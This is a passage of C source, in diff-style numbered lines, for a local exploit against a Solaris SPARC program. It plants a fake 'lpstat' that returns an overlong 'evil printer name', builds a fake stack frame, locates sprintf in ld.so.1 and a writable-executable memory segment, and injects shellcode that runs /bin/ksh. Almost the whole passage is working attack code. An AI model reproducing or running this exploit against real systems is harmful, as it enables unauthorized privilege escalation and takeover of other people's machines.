%o1 */ 90 + "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ 91 + "\x20\xbf\xff\xff" /* bn,a <sc> */ 92 + "\x7f\xff\xff\xff" /* call <sc + 4> */ 93 + "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ 94 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ 95 + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ 96 + "\x91\xd0\x20\x08" /* ta 8 */ 97 + /* exit(0) */ 98 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 99 + "\x82\x10\x20\x01" /* mov 1, %g1 */ 100 + "\x91\xd0\x20\x08" /* ta 8 */ 101 + "/bin/ksh"; 102 + #endif /* USE_EXEC_SC */ 103 + 104 + /* globals */ 105 + char *arg[2] = {"foo", NULL}; 106 + char *env[256]; 107 + int env_pos = 0, env_len = 0; 108 + 109 + /* prototypes */ 110 + int add_env(char *string); 111 + void check_zero(int addr, char *pattern); 112 + int get_ff_addr(char *path, char **argv); 113 + int search_ldso(char *sym); 114 + int search_rwx_mem(void); 115 + void set_val(char *buf, int pos, int val); 116 + 117 + /* 118 + * main() 119 + */ 120 + int main(int argc, char **argv) 121 + { 122 + char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; 123 + char platform[256], release[256], display[256]; 124 + int i, ff_addr, sc_addr, ret_pos, fpt_pos; 125 + 126 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 127 + int ret = search_ldso("sprintf"); 128 + int rwx_mem = search_rwx_mem() + 24; /* stable address */ 129 + 130 + /* fake lpstat code */ 131 + if (!strcmp(argv[0], "lpstat")) { 132 + 133 + /* check command line */ 134 + if (argc != 2) 135 + exit(1); 136 + 137 + /* get ret and fake frame addresses from environment */ 138 + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 139 + ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); 140 + 141 + /* prepare the evil printer name */ 142 + memset(buf, 'A', sizeof(buf)); 143 + buf[sizeof(buf) - 1] = 0x0; 144 + 145 + /* fill with return and fake frame addresses */ 146 + for (i = 0; i < BUFSIZE; i += 4) { 147 + /* apparently, we don't need to bruteforce */ 148 + set_val(buf, i, ret - 4); 149 + set_val(buf, i += 4, ff_addr); 150 + } 151 + 152 + /* print the expected output and exit */ 153 + if(!strcmp(argv[1], "-v")) { 154 + fprintf(stderr, "lpstat called with -v\n"); 155 + printf("device for %s: /dev/null\n", buf); 156 + } else { 157 + fprintf(stderr, "lpstat called with -d\n"); 158 + printf("system default destination: %s\n", buf); 159 + } 160 + exit(0); 161 + } 162 + 163 + /* helper program that prints argv[0] address, used by get_ff_addr() */ 164 + if (!strcmp(argv[0], "foo")) { 165 + printf("0x%p\n", argv[0]); 166 + exit(0); 167 + } 168 + 169 + /* print exploit information */ 170 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 171 + 172 + /* process command line */ 173 + if (argc != 2) { 174 + #ifdef USE_EXEC_SC 175 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 176 + #else 177 + fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]); 178 + #endif /* USE_EXEC_SC */ 179 + exit(1); 180 + } 181 + sprintf(display, "DISPLAY=%s", argv[1]); 182 + 183 + /* prepare the fake frame */ 184 + bzero(ff, sizeof(ff)); 185 + for (i = 0; i < 64; i += 4) { 186 + set_val(ff, i, DUMMY); 187 + } 188 + 189 + /* fill the envp, keeping padding */ 190 + sc_addr = add_env(ff); 191 + add_env(sc); 192 + ret_pos = env_pos; 193 + add_env("RET=0x41414141"); /* placeholder */ 194 + fpt_pos = env_pos; 195 + add_env("FPT=0x42424242"); /* placeholder */ 196 + add_env(display); 197 + add_env("PATH=.:/usr/bin"); 198 + add_env("HOME=/tmp"); 199 + add_env(NULL); 200 + 201 + /* calculate the needed addresses */ 202 + ff_addr = get_ff_addr(VULN, argv); 203 + sc_addr += ff_addr; 204 + 205 + /* 206 + * populate saved %l registers 207 + */ 208 + set_val(ff, i = 0, ff_addr + 56); /* %l0 */ 209 + set_val(ff, i += 4, ff_addr + 56); /* %l1 */ 210 + set_val(ff, i += 4, ff_addr + 56); /* %l2 */ 211 + set_val(ff, i += 4, ff_addr + 56); /* %l3 */ 212 + set_val(ff, i += 4, ff_addr + 56); /* %l4 */ 213 + set_val(ff, i += 4, ff_addr + 56); /* %l5 */ 214 + set_val(ff, i += 4, ff_addr + 56); /* %l6 */ 215 + set_val(ff, i += 4, ff_addr + 56); /* %l7 */ 216 + 217 + /* 218 + * populate saved %i registers 219 + */ 220 + set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */ 221 + set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */ 222 + set_val(ff, i += 4, ff_addr + 56); /* %i2 */ 223 + set_val(ff, i += 4, ff_addr + 56); /* %i3 */ 224 + set_val(ff, i += 4, ff_addr + 56); /* %i4 */ 225 + set_val(ff, i += 4, ff_addr + 56); /* %i5 */ 226 + set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */ 227 + set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 228 + 229 + #ifdef USE_EXEC_SC 230 + set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */ 231 + #endif /* USE_EXEC_SC */ 232 + 233 + /* overwrite RET and FPT env vars with the correct addresses */ 234 + sprintf(ret_var, "RET=0x%x", ret); 235 + env[ret_pos] = ret_var; 236 + sprintf(fpt_var, "FPT=0x%x", ff_addr); 237 + env[fpt_pos] = fpt_var; 238 + 239 + /* create a symlink for the fake lpstat */ 240 + unlink("lpstat"); 241 + symlink(argv[0], "lpstat"); 242 + 243 + /* print some output */ 244 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 245 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 246 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 247 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 248 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 249 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 250 + fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 251 + fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); 252 + 253 + /* check for null bytes (add some padding to env if needed) */ 254 + check_zero(ff_addr, "ff address"); 255 + check_zero(sc_addr, "sc address"); 256 + 257 + /* run the vulnerable program */ 258 + execve(VULN, arg, env); 259 + perror("execve"); 260 + exit(1); 261 + } 262 + 263 + /* 264 + * add_env(): add a variable to envp and pad if needed 265 + */ 266 + int add_env(char *string) 267 + { 268 + int i; 269 + 270 + /* null termination */ 271 + if (!string) { 272 + env[env_pos] = NULL; 273 + return env_len; 274 + } 275 + 276 + /* add the variable to envp */ 277 + env[env_pos] = string; 278 + env_len += strlen(string) + 1; 279 + env_pos++; 280 + 281 + /* pad the envp using zeroes */ 282 + if ((strlen(string) + 1) % 4) 283 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 284 + env[env_pos] = string + strlen(string); 285 + env_len++; 286 + } 287 + 288 + return env_len; 289 + } 290 + 291 + /* 292 + * check_zero(): check an address for the presence of a 0x00 293 + */ 294 + void check_zero(int addr, char *pattern) 295 + { 296 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 297 + !(addr & 0xff000000)) { 298 + fprintf(stderr, "error: %s contains a 0x00!\n", pattern); 299 + exit(1); 300 + } 301 + } 302 + 303 + /* 304 + * get_ff_addr(): get fake frame address using a helper program 305 + */ 306 + int get_ff_addr(char *path, char **argv) 307 + { 308 + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 309 + char hex[11] = "\x00"; 310 + int fd[2], addr; 311 + 312 + /* truncate program name at correct length and create a hard link */ 313 + prog[strlen(path)] = 0x0; 314 + unlink(prog); 315 + link(argv[0], prog); 316 + 317 + /* open pipe to read program output */ 318 + if (pipe(fd) < 0) { 319 + perror("pipe"); 320 + exit(1); 321 + } 322 + 323 + switch(fork()) { 324 + 325 + case -1: /* cannot fork */ 326 + perror("fork"); 327 + exit(1); 328 + 329 + case 0: /* child */ 330 + dup2(fd[1], 1); 331 + close(fd[0]); 332 + close(fd[1]); 333 + execve(prog, arg, env); 334 + perror("execve"); 335 + exit(1); 336 + 337 + default: /* parent */ 338 + close(fd[1]); 339 + read(fd[0], hex, sizeof(hex)); 340 + break; 341 + } 342 + 343 + /* check and return address */ 344 + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { 345 + fprintf(stderr, "error: cannot read ff address from helper program\n"); 346 + exit(1); 347 + } 348 + return addr + 4; 349 + } 350 + 351 + /* 352 + * search_ldso(): search for a symbol inside ld.so.1 353 + */ 354 + int search_ldso(char *sym) 355 + { 356 + int addr; 357 + void *handle; 358 + Link_map *lm; 359 + 360 + /* open the executable object file */ 361 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 362 + perror("dlopen"); 363 + exit(1); 364 + } 365 + 366 + /* get dynamic load information */ 367 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 368 + perror("dlinfo"); 369 + exit(1); 370 + } 371 + 372 + /* search for the address of the symbol */ 373 + if ((addr = (int)dlsym(handle, sym)) == NULL) { 374 + fprintf(stderr, "error: sorry, function %s() not found\n", sym); 375 + exit(1); 376 + } 377 + 378 + /* close the executable object file */ 379 + dlclose(handle); 380 + 381 + check_zero(addr - 4, sym); 382 + return addr; 383 + } 384 + 385 + /* 386 + * search_rwx_mem(): search for an RWX memory segment valid for all 387 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 388 + */ 389 + int search_rwx_mem(void) 390 + { 391 + int fd; 392 + char tmp[16]; 393 + prmap_t map; 394 + int addr = 0, addr_old; 395 + 396 + /* open the proc filesystem */ 397 + sprintf(tmp,"/proc/%d/map", (int)getpid()); 398 + if ((fd = open(tmp, O_RDONLY)) < 0) { 399 + fprintf(stderr, "error: can't open %s\n", tmp); 400 + exit(1); 401 + } 402 + 403 + /* search for the last RWX memory segment before stack (last - 1) */ 404 + while (read(fd, &map, sizeof(map))) 405 + if (map.pr_vaddr) 406 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 407 + addr_old = addr; 408 + addr = map.pr_vaddr; 409 + } 410 + close(fd); 411 + 412 + /* add 4 to the exact address null bytes */ 413 + if (!(addr_old & 0xff)) 414 + addr_old |= 0x04; 415 + if (!(addr_old & 0xff00)) 416 + addr_old |= 0x0400; 417 + 418 + return addr_old; 419 + } 420 + 421 + /* 422 + * set_val(): copy a dword inside a buffer 423 + */ 424 + void set_val(char *buf, int pos, int val) 425 + { 426 + buf[pos] = (val & 0xff000000) >> 24; 427 + buf[pos + 1] = (val & 0x00ff0000) >> 16; 428 + buf[pos + 2] = (val & 0x0000ff00) >> 8; 429 + buf[pos + 3] = (val & 0x000000ff); 430 + } 431 +